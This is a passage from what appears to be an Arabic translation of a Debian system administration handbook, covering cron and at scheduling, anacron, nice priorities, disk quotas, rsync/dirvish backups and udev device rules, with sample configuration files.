يمكنك تقييد الوصول إلى cron عبر إنشاء ملف سماح صريح (القائمة البيضاء) في /etc/cron.allow، تشير فيه فقط إلى المستخدمين الذين يسمح لهم بجدولة الأوامر. أما بقية المستخدمين فسوف يحرمون من هذه الميزة آلياً. وبالعكس، إذا كنت تريد حجب واحد أو اثنين من مثيري المتاعب، فيمكنك كتابة أسماء الدخول الخاصة بهم في ملف الحظر الصريح (القائمة السوداء)، /etc/cron.deny. هذه الميزة نفسها متوفرة في atd، باستخدام الملفين /etc/at.allow و/etc/at.deny.

يملك المستخدم الجذر crontab خاص به، لكنه يستطيع أيضاً استخدام الملف /etc/crontab، أو كتابة ملفات crontab إضافية في المجلد /etc/cron.d. يمتاز الحلان الأخيران بأنه يمكن فيهما تحديد هوية المستخدم التي سوف تستخدم عند تنفيذ الأوامر.

تتضمن الحزمة cron افتراضياً بعض الأوامر المجدولة التي يتم تنفيذها:

البرامج في المجلد /etc/cron.hourly/ تنفذ مرة كل ساعة؛

البرامج في /etc/cron.daily/ مرة كل يوم؛

البرامج في /etc/cron.weekly/ مرة كل أسبوع؛

البرامج في /etc/cron.monthly/ مرة كل شهر؛

تعتمد العديد من حزم دبيان على هذه الخدمة: حيث تضمن من خلال وضع سكربتات الصيانة في هذه المجلدات العمل الأمثل لخدماتها.

9.7.1. صيغة ملف crontab

تلميح الاختصارات النصية في cron

يتعرف cron على بعض الاختصارات التي تستبدل الحقول الخمسة الأولى في مدخلات crontab. تتفق هذه الاختصارات مع أكثر الخيارات التقليدية للجدولة:

@yearly: مرة كل سنة (1 يناير، الساعة 00:00)؛

@monthly: مرة كل شهر (اليوم الأول من الشهر، الساعة 00:00)؛

@weekly: مرة كل أسبوع (الأحد 00:00)؛

@daily: مرة كل يوم (الساعة 00:00)؛

@hourly: مرة كل ساعة (على رأس كل ساعة).

حالة خاصة cron والتوقيت الصيفي

في دبيان، يأخذ cron تغير التوقيت (عند الانتقال للتوقيت الصيفي، أو في الحقيقة عند أي تغير هام في التوقيت المحلي) بعين الاعتبار بأفضل ما يستطيع. بالتالي، الأوامر التي كان يفترض بها أن تنفذ في ساعة غير موجودة (مثلاً، المهام المجدولة الساعة 2:30 فجراً أثناء تغيير التوقيت الربيعي في فرنسا، لأنه عند الساعة 2:00 فجراً تقفز الساعة مباشرة إلى 3:00 فجراً) تنفذ بعد تغير الوقت بفترة وجيزة (أي حوالي 3:00 فجراً حسب التوقيت الصيفي). من جهة أخرى، في الخريف، عندما يفترض تنفيذ الأوامر عدة مرات (2:30 فجراً حسب التوقيت الصيفي، وبعدها بساعة تنفذ عند 2:30 فجراً حسب التوقيت النظامي، لأنه عند الساعة 3:00 فجراً حسب التوقيت الصيفي ترجع الساعة إلى 2:00 فجراً) تنفذ الأوامر مرة واحدة فقط.

لكن حذار، إذا كان ترتيب المهام المجدولة المختلفة والتأخير بين تنفيذ هذه المهام يحدث فرقاً، فعليك التحقق من التوافق بين هذه الشروط وبين سلوك cron؛ يمكنك تحضير جدول خاص لليلتين من السنة اللتين تسببان المشاكل إذا دعت الحاجة.

كل سطر فعلي من ملف crontab يصف أمراً مجدولاً باستخدام الحقول الستة (أو السبعة) التالية:

قيمة للدقائق (عدد يتراوح بين 0 و 59)؛

قيمة للساعات (عدد يتراوح بين 0 و 23)؛

قيمة لتاريخ اليوم من الشهر (من 1 إلى 31)؛

قيمة للشهر (من 1 حتى 12)؛

قيمة للنهار من الأسبوع (من 0 إلى 7، 1 يرمز لنهار الإثنين، ويرمز لنهار الأحد بالرقم 0 والرقم 7؛ من الممكن أيضاً استخدام الحروف الثلاثة الأولى من اسم اليوم بالإنكليزية، مثل Sun، أو Mon، الخ)؛

اسم المستخدم الذي ستنفذ الأوامر تحت هويته (في الملف /etc/crontab وفي الملفات المجزئة في المجلد /etc/cron.d/، لكن ليس في ملفات crontab الخاصة بالمستخدمين)؛

الأمر المراد تنفيذه (عند تحقق الشروط المعرفة في الحقول الخمسة الأولى).

كل هذه التفاصيل موثقة في صفحة الدليل crontab(5)‎.

يمكن تمثيل كل قيمة بشكل قائمة من القيم الممكنة (تفصل عن بعضها بفواصل). الصيغة a-b تمثل كل القيم الممكنة في المجال بين a وb. والصيغة a-b/c فتمثل المجال نفسه ولكن بزيادة قدرها c بين القيم (مثال: 0-10/2 يعني 0,2,4,6,8,10). أما النجمة * فهي محرف بديل، يمثل جميع القيم الممكنة.

مثال 9.2. عينة عن ملف crontab

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

تلميح تنفيذ أمر عند الإقلاع

لتنفيذ أمر مرة واحدة، مباشرة بعد إقلاع الحاسوب، يمكنك استخدام الماكرو @reboot ببساطة (إعادة تشغيل cron وحده لا يُنشِّط أمراً مجدولاً باستخدام @reboot). يستبدل هذا الماكرو الحقول الخمسة الأولى من المدخلة في crontab.

بدائل محاكاة cron باستخدام systemd

It is possible to emulate part of cron's behavior with systemd's timer mechanism (see قسم 9.1.1, “نظام إقلاع systemd”).

9.7.2. استخدام الأمر at

ينفذ at أمراً في لحظة محددة من المستقبل. يأخذ at التاريخ والوقت المرغوبين كمتغيرات في سطر الأوامر، ويأخذ الأمر الذي يجب تنفيذه من الدخل القياسي. سوف يُنفَّذ الأمر كما لو أنه أدخل في الصدفة الحالية. حتى أن at يهتم بالحفاظ على البيئة الحالية، لإعادة توليد الشروط نفسها عند تنفيذ الأمر. يُكتَب الوقت وفق الأشكال المعتادة: يمثل كلاً من 16:12 أو 4:12pm الساعة 4:12 عصراً. يمكن تعريف التاريخ حسب عدة صيغ أوربية وغربية، منها DD.MM.YY (أي أن 27.07.15 تمثل 27 يوليو 2015)، YYYY-MM-DD (التاريخ السابق سيكتب بالشكل 2015-07-27)، MM/DD/[CC]YY (مثال، 12/25/15 أو 12/25/2015 سوف تمثل 25 ديسمبر 2015)، أو ببساطة MMDD[CC]YY (بحيث يمثل 122515 أو 12252015 التاريخ 25 ديسمبر 2015 أيضاً). إذا لم يحدد التاريخ، سوف يُنفّذ الأمر فور وصول الساعة إلى الوقت المحدد (من اليوم نفسه، أو اليوم التالي إذا كانت الساعة المحددة قد مضت من ذلك اليوم). يمكنك أيضاً كتابة ”today“ أو ”tomorrow“ ببساطة.

$ at 09:00 27.07.15 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 31 at Mon Jul 27 09:00:00 2015

هناك صيغة بديلة تستخدم لتأجيل التنفيذ لفترة محددة: at now + number period. يمكن أن تكون الفترة period دقائق (minutes)، أو ساعاتٍ (hours)، أو أياماً (days)، أو أسابيعاً (weeks). يبين العدد number ببساطة عدد الوحدات المذكورة التي يجب أن تنقضي قبل تنفيذ الأمر.

لإلغاء مهمة مجدولة باستخدام cron، استدع crontab -e ببساطة واحذف السطر الموافق في ملف crontab. أما بالنسبة لمهام at، فالعملية بنفس السهولة تقريباً: فقط استدع atrm task-number. يعطيك at رقم المهمة عند جدولتها، لكن يمكنك الحصول عليه ثانية باستخدام الأمر atq، الذي يعطي لائحة محدّثة بالمهام المجدولة.

9.8. جدولة المهام غير المتزامنة: anacron

anacron هي خدمة تكمل عمل cron للحواسيب التي لا تعمل طوال الوقت. بما أن المهام المنتظمة تجدول عادة منتصفَ الليل، فلن تُنفَّذ أبداً إذا كان الحاسوب مطفأ في ذلك الوقت. الغرض من anacron هو تنفيذ هذه المهام، مع الأخذ بعين الاعتبار الفترات التي لا يعمل فيها الحاسوب.

نرجو أن تلاحظ أن anacron غالباً سينفذ هذه النشاطات بعد إقلاع الجهاز ببضع دقائق، وهذا قد يخفض من استجابة الحاسوب. لذلك يبدأ تشغيل المهام المذكورة في الملف /etc/anacrontab باستخدام الأمر nice، الذي يخفض أولوية تنفيذها وبالتالي يحدُّ من عبئها على النظام. انتبه إلى أن صيغة هذا الملف ليست مطابقة لصيغة /etc/crontab؛ إذا كان هناك حاجة خاصة لاستخدام anacron، فاطلع على صفحة الدليل anacrontab(5)‎.

أساسيات الأولويات وnice

نظم يونكس (وبالتالي لينكس) متعددة المهام ومتعددة المستخدمين. يمكن تشغيل عدة عمليات على التوازي فعلاً، ويمكن أن تنتمي لمستخدمين مختلفين: حيث تتولى النواة توزيع الموارد بين العمليات المختلفة. وكجزء من هذه الوظيفة، تتمتع النواة بمفهوم الأولوية، الذي يسمح لها بتفضيل عمليات معينة على أخرى، حسب الحاجة. يمكنك عندما تعلم أن إحدى العمليات يمكن أن تعمل بأولوية منخفضة أن تشير لذلك بتشغيلها باستخدام الأمر nice program‏ (nice تعني ”مهذب“). سيحصل البرنامج عندها على حصة أقل من المعالج، وسيكون أثره على العمليات الجارية الأخرى أخف. طبعاً، إذا لم يكن هناك عمليات أخرى تحتاج أن تعمل، فلن تُعرقَلَ حركة البرنامج بشكل مفتعل.

يعمل nice بعدة مستويات من ”التهذيب“: تخفض المستويات الموجبة (من 1 إلى 19) الأولوية تدريجياً، بينما ترفعها المستويات السالبة (من 1- حتى 20-) — لكن يسمح فقط للمستخدم الجذر بأن يستخدم هذه المستويات السالبة. يزيد nice المستوى الحالي بقيمة 10 إذا لم تحدد له قيمة أخرى (انظر صفحة الدليل nice(1)‎).

إذا اكتشفت مهمة تعمل من قبل كان يجب تشغيلها باستخدام nice فيمكنك إصلاح ذلك؛ فالأمر renice يعدل أولوية العمليات الجارية، بكلا الاتجاهين (لكن تقليل ”تهذيب“ العمليات ممنوع إلا على المستخدم الجذر).

يعطل تثبيت الحزمة anacron تنفيذ cron للسكربتات في المجلدات /etc/cron.hourly/،‏ /etc/cron.daily/،‏ /etc/cron.weekly/،‏ و /etc/cron.monthly/. وذلك لتفادي تنفيذها مرتين، مرة مع anacron ومرة مع cron. إلا أن الأمر cron يبقى فعّالاً ويتابع معالجة المهام المجدولة الأخرى (خصوصاً المهام التي يجدولها المستخدمون).

9.9. الحصص التخزينية

يسمح نظام الحصص التخزينية (Quotas) بتحديد مساحة القرص المخصصة لمستخدم ما أو لمجموعة من المستخدمين. لإعداد هذا النظام، يجب أن تملك نواة تدعمه (تمت ترجمتها مع الخيار CONFIG_QUOTA) — كما هي حال نوى دبيان. أما برمجيات إدارة الحصص التخزينية فتجدها في الحزمة quota.

لتفعيل الحصص التخزينية على نظام ملفات معين، عليك أن تضيف الخيارين usrquota وgrpquota في /etc/fstab لتفعيل حصص المستخدمين والمجموعات، على الترتيب. بعدها سوف تُحَدِّث عملية إعادة إقلاع الحاسوب الحصص التخزينية في حال غياب نشاط القرص (شرط ضروري لحساب المساحة المستهلكة مسبقاً بشكل صحيح).

يسمح لك الأمر edquota user (أو edquota -g group) بتعديل الحد التخزيني للمستخدم (أو المجموعة) أثناء عملية فحص الاستهلاك الحالي لمساحة القرص.

التعمق أكثر تحديد الحصص التخزينية باستخدام سكربت

يمكن استخدام البرنامج setquota ضمن سكربت لتعديل عدة حصص تخزينية آلياً. تشرح صفحة الدليل setquota(8)‎ صيغة استعماله.

يسمح لك نظام الحصص بتحديد أربعة حدود:

two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, a block contains 1024 bytes from the same file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

واثنان (soft و hard) يشيران لعدد عقد inode المستخدمة. يشغل كل ملف عقدة inode واحدة على الأقل لتخزين معلومات عنه (الصلاحيات، المالك، تاريخ ووقت آخر وصول، الخ). أي أنهما يقيدان عدد ملفات المستخدم.

يمكن تجاوز الحدود ”المرنة“ بشكل مؤقت؛ حيث ينبه المستخدمون فقط إلى أنهم يتجاوزون الحصة التخزينية وذلك عبر الأمر warnquota، الذي يستدعى عادة باستخدام cron. أما الحدود ”القاسية“ فلا يمكن تجاوزها أبداً: إذ يرفض النظام أي عملية تسبب تجاوز الحصة التخزينية القاسية.

مصطلحات الكتل وعقد inode

يقسم نظام الملفات القرص الصلب إلى كتل blocks — وهي مساحات صغيرة متجاورة. يحدد حجم هذه الكتل أثناء إنشاء نظام الملفات، ويتراوح عموماً بين 1 و8 كيبي بايت.

يمكن استخدام الكتلة إما لتخزين البيانات الفعلية للملف، أو البيانات الفوقية meta-data الخاصة بنظام الملفات. من هذه البيانات الفوقية، ستجد عقد inode. تستهلك كل inode كتلة على القرص الصلب (لكن هذه الكتلة لا تؤخذ بعين الاعتبار عند حساب الحصص التخزينية التي تقيّد عدد الكتل التخزينية، بل الحصص التي تقيّد عدد inode فقط)، وتُخزِّن كلاً من المعلومات التي تعرف الملف الموافق لها (اسمه، مالكه، صلاحياته، الخ) والمؤشرات إلى كتل البيانات التي تحوي الملف فعلياً. للملفات الكبيرة جداً التي تحجز كتلاً كثيرة لا يمكن الإشارة إليها في inode واحدة، هناك نظام الكتل غير المباشرة؛ حيث تشير inode إلى لائحة من الكتل التي لا تحوي البيانات مباشرة، وإنما تشير إلى لائحة أخرى من الكتل.

يمكنك باستخدام الأمر edquota -t، تعريف ”فترة سماح“ أعظمية يسمح خلالها تجاوز القيود المرنة. بعد انقضاء هذه المهلة، سوف تعامل قيود المرنة على أنها قيود قاسية، وسيضطر المستخدمون لتقليص استهلاكهم للمساحة التخزينية إلى ما دون الحد المفروض قبل أن يتمكنوا من كتابة أي شيء على القرص الصلب.

التعمق أكثر تحديد حصة تخزينية افتراضية للمستخدمين الجدد

لتحديد حصة تخزينة للمستخدمين الجدد آلياً، عليك إعداد مستخدم ليخدم كنموذج للمستخدمين الجدد (بالأمرedquota أو setquota) ثم تحديد اسمه في المتغير QUOTAUSER في الملف /etc/adduser.conf. بعد ذلك، سوف تُطبَّقُ هذه الإعدادات تلقائياً كلما أنشأت مستخدماً جديداً بالأمر adduser.

9.10. النسخ الاحتياطي

النسخ الاحتياطي هو أحد المهام الرئيسية لأي مدير نظم، لكنه موضوع معقد، ويحتاج لأدوات قوية يصعب إتقانها أغلب الأحيان.

هناك العديد من البرامج، مثل amanda، و bacula، و BackupPC. هذه نظم مخدم/عميل تقدم خيارات عديدة، لكن إعدادها صعب نوعاً ما. توفر بعضها واجهات وب صديقة للمستخدم لتسهيل ذلك. لكن دبيان تحوي عشرات برمجيات النسخ الاحتياطي الأخرى التي تغطي جميع حالات الاستخدام الممكنة، ويمكنك التحقق من ذلك بسهولة عبر الأمر apt-cache search backup.

بدلاً من تفصيل استخدام بعض هذه البرمجيات، سوف يستعرض هذا القسم أفكار مديري النظم في شركة فلكوت عندما حددوا استراتيجية النسخ الاحتياطي الخاصة بهم.

في شركة فلكوت، للنسخ الاحتياطي هدفان: استعادة الملفات المحذوفة خطأً، واستعادة أي حاسوب بسرعة (مكتبي أو مخدم) إذا تعطل قرصه الصلب.

9.10.1. النسخ الاحتياطي باستخدام rsync

يعتبر النسخ الاحتياطي على الشرائط المغناطيسية بطيئاً جداً ومكلفاً، لذلك ستخزن النسخ الاحتياطية من البيانات على مخدم خاص، حيث يحمي استخدام RAID برمجي (انظر قسم 12.1.1, “‏Software RAID”) البيانات من أعطال الأقراص الصلبة. لن تؤخذ نسخ احتياطية عن الحواسيب المكتبية بشكل منفرد، لكن يتم إعلام المستخدمين أن حساباتهم الشخصية على مخدم الملفات في قسمهم في الشركة ستؤخذ عنها نسخ احتياطية. يُستخدَم الأمر rsync (من الحزمة ذات الاسم نفسه) يومياً لأخذ نسخ احتياطية عن هذه المخدمات المختلفة.

أساسيات الروابط الصلبة، أسماء أخرى للملف نفسه

لا يمكن تمييز الرابط الصلب (hard link) عن الملف الأصلي، بخلاف الروابط الرمزية (symbolic links). إنشاء الرابط الصلب هو أساساً نفس عملية إعطاء الملف اسماً إضافياً. لذلك فإن حذف الرابط الصلب يزيل الاسم المرتبط مع الملف فقط. وطالما أن هناك اسماً آخر مرتبط مع الملف، ستبقى البيانات داخله مخزنة في نظام الملفات. من المهم ملاحظة أن الروابط الصلبة، وبعكس النسخ عن الملف، لا تحجز مساحة إضافية على القرص الصلب.

تنشئ الروابط الصلبة بالأمر ln target link. عندئذ يصبح الملف link اسماً جديداً للملف target. يمكن إنشاء الروابط الصلبة ضمن نظام الملفات نفسه فقط، بينما لا تخضع الروابط الرمزية لهذا القيد.

تمنع محدودية المساحة التخزينية المتاحة على الأقراص الصلبة تطبيق نسخة احتياطية كاملة يومياً. لذلك، يُسبَقُ الأمر rsync بعملية تكرار لمحتويات النسخة الاحتياطية السابقة باستخدام روابط حقيقية تحول دون استهلاك الكثير من مساحة القرص الصلب. بعدها تستبدل عملية rsync الملفات التي طرأت عليها تعديلات منذ آخر عملية نسخ احتياطي فقط. باستخدام هذه الآلية يمكن الاحتفاظ بعدد أكبر من النسخ الاحتياطية في كمية قليلة من المساحة. بما أن جميع النسخ الاحتياطية متوفرة ومتاحة للوصول آنياً (مثلاً، في مجلدات مختلفة مشاركة على الشبكة)، يمكنك المقارنة فوراً بين تاريخين محددين.

يمكن تطبيق آلية النسخ الاحتياطي هذه بسهولة باستخدام البرنامج dirvish. يستخدم البرنامج مساحة تخزينية للنسخ الاحتياطي (”bank“ بحسب مصطلحاته) يخزن فيها نسخاً مؤرخة من مجموعات من الملفات الاحتياطية (هذه المجموعات تدعى ”vaults“ في وثائق dirvish).

الإعدادات الرئيسية هي في الملف /etc/dirvish/master.conf. تعرف هذه الإعدادات موقع المساحة التخزينية للنسخ الاحتياطي، ولائحة ال ”vaults“ التي ستتم إدارتها، والقيم الافتراضية لانتهاء صلاحية النسخ الاحتياطية. بقية الإعدادات تقع في الملفات bank/vault/dirvish/default.conf وهي تحوي الإعدادات الخاصة بكل مجموعة من الملفات.

مثال 9.3. الملف /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

يشير خيار bank إلى المجلد الذي ستخزن النسخ الاحتياطية فيه. يسمح لك الخيار exclude بتحديد الملفات (أو أنواع الملفات) التي لا تريد تضمينها في النسخ الاحتياطية. أما Runall فهو لائحة بمجموعات الملفات التي ستنسخ احتياطياً مع تاريخ كل منها، وهذا يسمح لك بتعيين التاريخ الصحيح للنسخة، في حال لم يعمل النسخ الاحتياطي في الوقت المحدد بدقة. عليك تحديد وقت يسبق وقت التنفيذ الفعلي قليلاً (وهو، افتراضياً، 10:04 مساء في دبيان، وفقاً للملف /etc/cron.d/dirvish). أخيراً، يحدد الخياران expire-default وexpire-rule سياسة انتهاء الصلاحية للنسخ الاحتياطية. المثال السابق يبقي النسخ التي أخذت في الأحد الأول من كل ربع سنة للأبد، ويحذف النسخ المأخوذة في الأحد الأول من كل شهر بعد سنة، ويحذف النسخ المأخوذة في أيام الأحد الأخرى بعد ثلاثة أشهر. أما النسخ الاحتياطية اليومية الأخرى فيحتفظ بها لمدة 15 يوماً. ترتيب القواعد مهم جداً، لأن Dirvish يستخدم آخر قاعدة مناسبة، أو يستخدم قاعدة expire-default إذا لم يجد أي expire-rule مناسبة.

ممارسة عملية انتهاء الصلاحية المُجدوَل

لا يستخدم dirvish-expire قواعد انتهاء الصلاحية لإتمام عمله. في الواقع، تطبق قواعد انتهاء الصلاحية عند إنشاء نسخة احتياطية جديدة لتحديد تاريخ انتهاء صلاحية تلك النسخة. حيث يطلع dirvish-expire ببساطة على النسخ المخزنة ويحذف النسخ التي انقضى تاريخ صلاحيتها.

مثال 9.4. الملف /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

يحدد المثال أعلاه مجموعات الملفات التي يجب أخذ نسخة احتياطية عنها: وهي الملفات على الجهاز rivendell.falcot.com (أما لأخذ نسخة احتياطية عن البيانات المحلية، فقط حدد اسم الجهاز المحلي كما هو محدد بالأمر hostname)، وبالأخص الملفات في الشجرة الجذر (tree: /)؛ ما عدا تلك المذكورة في exclude. النسخة الاحتياطية ستقتصر على محتويات نظام ملفات واحد (xdev: 1)، ولن تتضمن أية ملفات من نقاط الربط الأخرى. سوف يُولَّد فهرس للملفات المحفوظة (index: gzip)، وستسمّى الصورة تبعاً للتاريخ الحالي (image-default: %Y%m%d).

هناك العديد من الخيارات المتوفرة، وكلها موثقة في صفحة الدليل dirvish.conf(5)‎. بمجرد تجهيز ملفات الضبط هذه، عليك تهيئة كل مجموعة ملفات بالأمر dirvish --vault vault --init. ومن بعد ذلك سيعمل الاستدعاء اليومي للأمر dirvish-runall آلياً على إنشاء نسخة احتياطية جديدة مباشرة بعد حذف النسخ التي انتهت صلاحيتها.

ممارسة عملية النسخ الاحتياطي البعيد عبر SSH

عندما يحتاج dirvish لحفظ البيانات على جهاز بعيد، سوف يستخدم ssh للاتصال به، وسوف يشغل rsync كمخدم. هذا يتطلب أن يمتلك المستخدم الجذر إمكانية الاتصال بذلك الجهاز آلياً. يسمح استخدام مفتاح للمصادقة عبر SSH بهذا الأمر بالضبط (انظر قسم 9.2.1.1, “المصادقة بالمفاتيح”).

9.10.2. استعادة الأجهزة دون نسخ احتياطي

يمكن استعادة الأجهزة المكتبية، التي لا تؤخذ عنها نسخ احتياطية، بسهولة من قرص DVD-ROM مخصص تم تجهيزه باستخدام Simple-CDD (انظر قسم 12.3.3, “‏Simple-CDD: كل الحلول في حل واحد”). بما أن هذه الطريقة تنفذ عملية تثبيت من الصفر، فسوف تسبب ضياع أي تخصيص تم بعد التثبيت الأولي. لا بأس بهذا بما أن جميع الأنظمة متصلة بمجلد LDAP مركزي للحسابات كما أن معظم التطبيقات المكتبية مضبوطة مسبقاً بفضل dconf (انظر قسم 13.3.1, “‏GNOME” لمزيد من المعلومات عن هذا).

يدرك مديرو النظم في شركة فلكوت القصور في سياسة النسخ الاحتياطي التي اعتمدوها. فبما أنهم لا يستطيعون حماية مخدم النسخ الاحتياطي في خزانة مضادة للحرائق كما هي حال الشرائط المغناطيسية، فقد ركبوه في غرفة منفصلة بحيث لا تدمر كارثة، كحريق في غرفة المخدمات، النسخ الاحتياطية مع الأشياء الأخرى. بالإضافة لذلك، فإنهم يجرون نسخاً احتياطياً تصاعدياً (incremental) على DVD-ROM أسبوعياً — حيث تُنسَخ الملفات التي تغيرت منذ آخر عملية نسخ احتياطي فقط.

التعمق أكثر النسخ الاحتياطي لخدمات SQL و LDAP

معظم الخدمات (مثل قواعد بيانات SQL أو LDAP) لا يمكن نسخها احتياطياً بنسخ ملفاتها فقط (إلا إذا تمت مقاطعتها بشكل سليم أثناء إنشاء النسخة الاحتياطية، وهذا يسبب المشاكل عادة، لأن المفروض أن تبقى هذه الخدمات متوفرة طوال الوقت). لذلك، كان لزاماً استخدام آلية ”تصدير“ لإنشاء ”خلاصة بيانات – data dump“ يمكن نسخها بأمان. خلاصات البيانات هذه كبيرة جداً غالباً، لكن ضغطها له مردود جيد. لتقليل المساحة التخزينية المطلوبة، سوف تُخزَّن نسخة كاملة مرة واحدة في الأسبوع فقط، ونسخة diff في كل يوم، التي يمكن إنشاؤها بالأمر diff file_from_yesterday file_from_today. ينتج البرنامج xdelta فروقات تصاعدية من الخلاصات الثنائية (binary dumps).

ثقافة TAR، المعيار في النسخ الاحتياطي على الشرائط

تاريخياً، كانت أبسط وسيلة لأخذ النسخ الاحتياطية في يونكس هي تخزين أرشيف TAR على شريط مغنطيسي. بل إن الأمر tar قد أخذ اسمه من ”Tape ARchive“.

9.11. التوصيل الساخن: hotplug

9.11.1. مقدمة

يعالج نظام النواة الفرعي hotplug إضافة وإزالة الأجهزة ديناميكياً، عبر تحميل التعاريف المناسبة وعبر إنشاء ملفات الأجهزة الموافقة (بمساعدة udevd). في الأجهزة الحديثة والحوسبة الظاهرية، يمكن توصيل أي شيء تقريباً بشكل ساخن: من ملحقات USB/PCMCIA/IEEE 1394 الشائعة إلى أقراص SATA الصلبة، وصولاً إلى المعالجات والذواكر أيضاً.

لدى النواة قاعدة بيانات تربط رقم تعريف (ID) كل جهاز مع برنامج التعريف المطلوب. تستخدم قاعدة البيانات هذه أثناء الإقلاع لتحميل جميع تعاريف الأجهزة الملحقة التي تكتشف على النواقل المختلفة، وأيضاً عند توصيل جهاز إضافي يدعم التوصيل الساخن. ترسل رسالة إلى udevd فور جاهزية القطعة للاستعمال، حتى يتمكن من إنشاء المدخلة الموافقة في /dev/.

9.11.2. مشكلة التسمية

قبل ظهور الاتصالات الساخنة، كان من السهل تعيين أسماء ثابتة للأجهزة. كانت تعتمد تسميتها ببساطة على موقع الجهاز على الناقل الخاص به. لكن هذا غير ممكن عندما تتحرك هذه الأجهزة على النواقل. من الحالات النموذجية استخدام الكاميرا الرقمية أو مفتاح USB، حيث يظهر كل منهما للحاسوب على أنه قرص تخزيني. ربما كان اسم الجهاز المتصل أولاً /dev/sdb والمتصل ثانياً /dev/sdc (حيث يمثل /dev/sda القرص الصلب للحاسوب). أسماء الأجهزة غير ثابتة؛ بل تعتمد على ترتيب توصيل الأجهزة.

بالإضافة لذلك، يزداد عدد التعاريف التي تستخدم قيماً ديناميكية لأرقام major/minor للأجهزة، ما يحول دون إمكانية تعيين مدخلات ثابتة للأجهزة المعنية، بما أن هذه الخصائص الأساسية قد تختلف بعد إعادة الإقلاع.

لقد أنشئ udev لحل هذه المشكلة تحديداً.

9.11.3. طريقة عمل udev

عندما تُـنَـبِّه النواةُ udev إلى ظهور جهاز جديد، يجمع udev المعلومات المختلفة عن الجهاز المعني باستطلاع المدخلات المناسبة في /sys/، خصوصاً المدخلات التي تعرف الجهاز بشكل فريد (عنوان MAC للبطاقات الشبكية، الأرقام التسلسلية لبعض أجهزة USB، الخ).

بعد جمع كل هذه المعلومات، يتحقق udev من القواعد المخزنة في /etc/udev/rules.d/ و/lib/udev/rules.d/. من خلال هذه العملية يقرر كيفية تسمية الجهاز، والروابط الرمزية التي سينشئها له (لإعطائه أسماء بديلة)، والأوامر التي يجب تنفيذها. يتم استطلاع جميع الملفات، و تقيَّم جميع القواعد تسلسلياً (إلا عندما يحوي الملف توجيهات ”GOTO“). لذلك قد ترتبط عدة قواعد بحدث معين.

صيغة ملفات القواعد بسيطة جداً: كل سطر يحوي معايير اختيار وقيم متغيرات. تستخدم الأولى لتحديد الأحداث التي يجب الاستجابة لها، وتُعرِّف الأخيرة الأفعال التي يجب اتخاذها. تفصل كافة المكونات عن بعضها بفواصل، وتُفَرِّق المعاملات ضمنياً بين معايير الاختيار (التي تحوي معاملات مقارنة، مثل == أو !=) وبين توجيهات الإسناد (التي تستخدم معاملات مثل = أو += أو :=).

تستخدم معاملات المقارنة على المتغيرات التالية:

KERNEL: الاسم الذي تعينه النواة للجهاز؛

ACTION: الفعل الموافق للحدث (”add“ عندما تضاف القطعة، ”remove“ عند إزالتها)؛

DEVPATH: مسار مدخلة القطعة في /sys/؛

SUBSYSTEM: نظام النواة الفرعي الذي وَلَّدَ الطلب (هناك العديد من هذه الأنظمة، لكن من بعض الأمثلة عليها ”usb“،‏ ”ide“،‏ ”net“،‏ ”firmware“، الخ)؛

ATTR{attribute}: محتويات الملف attribute في المجلد /sys/$devpath/ الخاص بالجهاز. هنا تجد عنوان MAC وغيره من المعرفات الخاصة بالناقل؛

KERNELS وSUBSYSTEMS وATTRS{attributes} هي صيغ أخرى تُستَخدَمُ لمطابقة الخيارات المختلفة لأحد الأجهزة الآباء للجهاز الحالي؛

PROGRAM: يوكل الاختبار إلى البرنامج المشار إليه (true إذا أعاد القيمة 0، false فيما عدا ذلك). تخزن محتويات خرج البرنامج القياسي بحيث يستطيع اختبار RESULT إعادة استخدامها؛

RESULT: يجري اختبارات على الخرج القياسي المخزن أثناء آخر استدعاء لـ PROGRAM.

يمكن أن تستخدم التعابير المنتظمة لمطابقة عدة قيم في الوقت نفسه في المعاملات على اليمين. مثلاً، تطابق النجمة * أيَّ سلسلة (وحتى السلسلة الفارغة)؛ وتطابق علامة الاستفهام ? أي محرف، وتطابق الأقواس المربعة [] مجموعة من المحارف المذكورة بين القوسين المربعين (أو عكس تلك المحارف إذا كان المحرف الأول علامة تعجب، وتكتب المجالات المستمرة بالشكل a-z).

أما بخصوص معاملات الإسناد، فيسند المعامل = قيمة جديدة (ويستبدل القيمة الحالية)؛ في حال تطبيقه على لائحة، سوف يفرغها ويسند لها القيمة المعطاة فقط. المعامل := له نفس الأثر، لكنه يمنع التعديلات اللاحقة على المتغير نفسه. أما بالنسبة للمعامل +=، فهو يضيف عنصراً إلى اللائحة. يمكن تعديل المتغيرات التالية:

NAME: اسم ملف الجهاز الذي سينشأ في /dev/. تؤخذ عملية الإسناد الأولى بعين الاعتبار فقط؛ وتهمل الإسنادات الأخرى؛

SYMLINK: لائحة بالروابط الرمزية التي تشير إلى الجهاز نفسه؛

تعرف المتغيرات OWNER وGROUP وMODE المستخدم المالك والمجموعة المالكة للجهاز، بالإضافة إلى الصلاحيات المتعلقة به؛

RUN: لائحة بالبرامج التي يجب تنفيذها استجابة لهذا الحدث.

يمكن استخدام عدد من البدائل في القيم التي تسند إلى هذه المتغيرات:

$kernel أو %k: تكافئ KERNEL؛

$number أو %n: لترقيم الجهاز، مثلاً، بالنسبة للجهاز sda3، ستكون قيمته ”3“؛

$devpath أو %p: تكافئ DEVPATH؛

$attr{attribute} أو %s{attribute}: تكافئ ATTRS{attribute}؛

$major أو %M: رقم النواة الكبير للجهاز؛

$minor أو %m: رقم النواة الصغير للجهاز؛

$result أو %c: الخرج النصي لآخر برنامج استدعي عبر PROGRAM؛

